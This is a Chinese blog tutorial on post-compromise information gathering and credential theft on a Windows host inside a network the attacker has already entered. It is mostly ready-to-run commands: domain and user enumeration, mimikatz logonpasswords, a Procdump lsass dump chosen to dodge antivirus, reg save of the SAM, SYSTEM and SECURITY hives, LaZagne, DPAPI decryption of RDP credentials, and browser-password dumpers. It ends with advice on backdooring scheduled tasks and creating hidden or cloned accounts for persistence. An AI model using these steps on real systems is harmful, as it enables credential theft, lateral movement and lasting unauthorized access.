内网渗透-内网信息收集
Windows本地基础信息收集
注:本机信息收集可以收集到敏感信息,另外用收集到的信息进行提权拿下服务器,然后还有方便横向移动扩大战果,比如内网中为了维护方便有很多密码都是通用的,但是本机信息收集方式太多,这里就只是介绍本人平时最常收集的一些方式。
背景:首先通过webshell或者其他方式拿下了一台机器,并且存在内网环境,这时候我们就要准备进行内网渗透了。但是内网渗透之前需要对本地机器进行信息收集,才能够更好的进行内网渗透。
权限查看
作用:是否需要进行提权
whoami
whoami /all
指定用户的详细信息
作用:多个用户多条路,拿到密码多试。
加上/domain
的话可以判断是否存在域,查询的用户不是域的话就会报错
当然了你查询一个不存在的用户也是会报错,所以建议先用net user 用户名
先查看一下你输入的用户名是否存在
#先搜索用户账户名
wmic useraccount list brief | more
net user 用户名
net user 用户名 /domain
查看防火墙状态
netsh advfirewall show allprofiles
机器基础信息
版本、补丁、服务、任务、防护等
查看系统信息
-
操作系统的详细配置信息
这个可以看到操作系统版本、补丁、网卡情况等等systeminfo
-
查看操作系统的架构
作用:通过该信息可以有针对性的上传攻击工具
echo %PROCESSOR_ARCHITECTURE%
查看进程情况
作用:可以通过进程列表判断是否存在杀软,留到网站上进行匹配即可。
tasklist
可以自己搭建杀软网站来匹配
软件安装情况
作用:查看有没有一些第三方工具可以进一步留后门或提权的
查看系统安装的软件与版本信息
cmd输入以下命令,如果是powershell的话输入双引号里面的命令即可。
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"
个人建议使用wmic执行速度比较快
wmic product get name,version
或者详细一点
wmic product list brief | more #因为比较信息比较多所以使用more
查看计划任务
作用:可能会看到一些敏感信息,比如需要对某些机器进行交互可能会看到密码之类的定时任务脚本等等
schtasks
#更详细的信息
schtasks /query /fo LIST /v
网络环境
查看网络配置信息
加上/all参数可以查看到是否存在域
ipconfig /all
查看网络连接情况
作用:可能会发现内网数据库连接之类的情况
netstat -ano
查看是否存在域
查看域的名
#不存在域的话该命令会报错(测试过好像不管你登录的时不时域成员,只要机器加入了域就不会报错,)
net view /domain
#还有其他可以看到是否存在域的情况,面试可能会经常遇到,实战中只其实只需要知道一个即可,一般来说不会连这种命令都禁用。
#下面中个人最推荐和最常用ipconfig,应该没人都给你禁用了吧,每个windows系统几乎都能用这个命令吧
ipconfig /all #判断存在域,看DNS后缀
systeminfo #会列出所处的域
net config workstation #查看"工作站域"中显示 登录组 还是 域,是域的话会显示你登录的域名
判断域控主机
net time /domain #不在域环境中或者不是域成员登录进来的会报错
nslookup 域名 #定位域控主机的IP地址
直接查看域和定位域控主机ip
wmic ntdomain list brief #这个命令在winserver2003用不了
ping 域名
nslookup 域名
更多域相关知识在域渗透部分详细说。
扫描网段
这里有很多方法
1.直接使用系统命令 | 这里可以使用网上现成的命令或者bat、ps1、shell脚本
2.python脚本
3.上传nmap
4.cs、msf上线扫描网段
等等
WMIC收集信息
上述基础信息查看也可以通过wmic来进行信息收集。
WMIC可以描述为一组管理Windows系统的方法和功能。
我们可以把它当作API来与Windows系统进行相互交流,Wmic在渗透测试中的价值在于它不需要下载和安装,因为wmic是Windows系统自带的功能,而且整个运行都载计算机的内存中发生,不会留下任何痕迹,能用WMIC收集的话尽量用这个就行了其实,自带的还不用上传工具过去。
如果你要获取某几个列的数据只需要,比如获取startup 的 command,caption列:wmic startup get command,caption
,
而获取全部的是命令:wmic startup list brief
,即list 都是列出全部的意思。
#检索系统已安装的软件
wmic product list brief | more
或者
wmic product get name,version
#检索系统运行的服务
wmic service list brief | more
#搜索查看进程信息
wmic process list brief | more
#搜索启动程序
wmic startup list brief | more
或者
wmic startup get command,caption
#搜索共享驱动盘
wmic netuse list brief | more
#搜索用户账户
wmic useraccount list brief | more
#搜索计算机域控制器
wmic ntdomain list brief
#搜索登录用户
wmic logon list brief | more
#搜索已安装的安全更新
wmic qfe list brief | more
抓本地密码
抓到的hash密码都能丢到在线网站去查一下:https://www.cmd5.com/
LaZagne抓密码
若这个工具执行不了的话,就是无法提权,需要有管理员权限执行才行。
LaZagne跨平台,支持linux、mac
参考文章:https://www.freebuf.com/articles/database/355888.html
输出参数:
-oN代表普通文本
-oJ代表JSON
-oA代表全部
启动模块
启动所有模块:LaZagne.exe all
启动一个指定的模块:laZagne.exe browsers
启动一个指定的软件脚本:laZagne.exe browsers -firefox
模式参数
-vv #详细模式
-quiet #静音模式
解密域凭证建议指定用户Windows密码,否则工具将尝试所有已找到的Windows密码
laZagne.exe all -password ZapataVive
常用命令
laZagne.exe all -oN
mimikatz 抓密码
mimikatz提权获取密码
privilege::debug #进入debug模式
sekurlsa::logonpasswords #获取密码
mimikatz+Procdump离线获取密码
因为procdump是微软开发的,白名单软件不会被杀掉,所以用该软件导出数,接着传回我们自己的hacker机器上使用mimkatz抓密码就可以 了,不用担心mimikatz被杀
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp"
sekurlsa::logonpasswords
SAMInside获取密码
原理
Saminside是一个暴力破解工具,可以通过读取本地帐户的lmhash值,对hash值进行暴力破解,从而得到真正的登录密码。
SAMInside
1.目标服务器导出SAM和SYSTEM或SYSKEY文件
2.通常是不能直接导出的,所以最好是通过命令窗口导出指定位置
reg save hklm\sam C:/sam
reg save hklm\system C:/system.key
reg save hklm\security C:/security
3.然后打开SAMInside选择导入
导入顺序:sam->system.key->security
但是我使用windows10没有尝试成功。
RDP凭证抓取
mimikatz抓取
1.首先命令行输入下面这句,先获取到对应的登录记录文件,文件名就是对应的值
dir /a %userprofile%\appdata\local\microsoft\credentials\*
2.如果上面你有发现确实存在对应的记录文件的话就可以使用mimikatz来解密了
(这里我尝试过将上面dir列出来的Credentials值文件复制出来,失败了,所以还是要上传mimikatz到目标服务器去解密)
mimikatz.exe "dpapi::cred /in:%userprofile%\AppData\Local\Microsoft\Credentials\Credentials值" exit
3.获取guidMasterKey,要记得guidMasterKey是什么值,下一步要用
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" > cerd.txt
4.mimikatz使用DPAPI 模块从内存中读取主密钥
mimikatz.exe "privilege::debug" "sekurlsa::dpapi"
#建议复制到文本中查找对应的guidMasterKey值,然后找对应他的MasterKey
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" > cerd.txt
5.查找guid对应的MasterKey(下面是完整的,不要删除任何一个空格)
mimikatz.exe "dpapi::cred /in:%userprofile%\AppData\Local\Microsoft\Credentials\ Credentials值/masterkey:masterkey值" exit
我这里失败了,具体原因不知道,可能是我没有使用rdp服务吧,但步骤就是这么个步骤了。
彩虹表 破解密码
原理
通过预先计算的hash散列链集合对来反推明文,因为在一个对中,其中的算法是固定的,所以只需要重复加密函数即可还原这个散列链,即头和尾知道了,比如:1:11,这中间的算法是+1,+4,那么这个hash链就是:`1-2-6-7-11`,因为是+1 +4,所以中间还原的链数据就是`2 6 7`,也就是说我们使用一个对就存储了5个值或者更多,这里仅仅只是举一个例子而已,具体+1+4要循环多少次还要看k参数。
所以利用这个彩虹表去获取密码就会比较快速。
吐槽:其实常规点的hash密码丢到在线网站上直接就出来了,很少用彩虹表。
抓hash工具很多,可以是Procdump、pwdump等等,这里就用pwdump。
通过抓取到的hash,放到ophcrack https://ophcrack.sourceforge.io/工具上,用收集到的彩虹表https://www.freerainbowtables.com/
下载好采用表后,用ophcrack 加载数据
点击install后会让你选择你的彩虹表文件夹
彩虹表的数据如下
加载完成后你拿到的hash解不出来就可以丢到工具中看能不能撞出来
比如我这里使用pwdump8.exe拿到hash密码
然后随便复制丢到工具中点击crack,我这里是一个一个的复制进去,你也可以通过其他load方式
浏览器密码
参考文章:https://cloud.tencent.com/developer/article/2204689
下面下载工具可能会报毒,你到官网下载也是一样,尽量开一个免杀目录或者关闭杀软
这里无脑用工具即可,附上网盘下载地址(注意解压的密码):https://pan.baidu.com/s/1IGwstSUrSWdZv3pJ5baacQ?pwd=ihof
也可以到官网下载:
https://www.nirsoft.net/password_recovery_tools.html
按照下面的方式下载工具包即可注意解压的密码
ChromePass
双击打开即可看到密码了,厚码附上
WebBrowserPassView
可以使用命令行模式进行保存密码,在无法远程控制的时候使用命令行动静比较小
参数可以看操作指南
这里就保存为/stext
文本文件,同样密码出来了,十分恐怖。
双击打开也是能直接看到浏览器泄露的密码,十分恐怖,这还真用我自己的浏览器缓存打开的。
Windows信息收集总结
简单总结一下平时拿到主机后本人会做什么
(总结不全,但最终目的是为了扩大战果)
内网信息收集
先看权限
systeminfo系统信息、补丁信息等等
进程、服务、软件安装情况、计划任务
查看内网网络环境、网络连接情况,判断下是否需要做内网穿透
判断是否存在域环境
然后就可以扫内网网段探测存活主机
收集本机各种密码,如果是域控主机等等之类在同一环境下用同一密码都是很有可能的
收集一下rdp密码、用工具导出本地hash进行破解
如果拿到的机器是个人电脑可以尝试抓取本地浏览器密码
net user看下有哪些用户,拿着收集到的密码一个个尝试
拿下机器后如果需要持久化控制的话可以留后门,那么我们信息收集部分拿到的一些比如计划任务脚本也可以注入自己的恶意代码或者直接写一个定时任务脚本,脚本也可以进行文件隐藏、做隐藏账户或者克隆账户,这里其实可以借鉴病毒留后门的方法。
以上收集到的信息最好是开一个文档保存下来。
本文来自博客园,作者:竹等寒,转载请注明原文链接。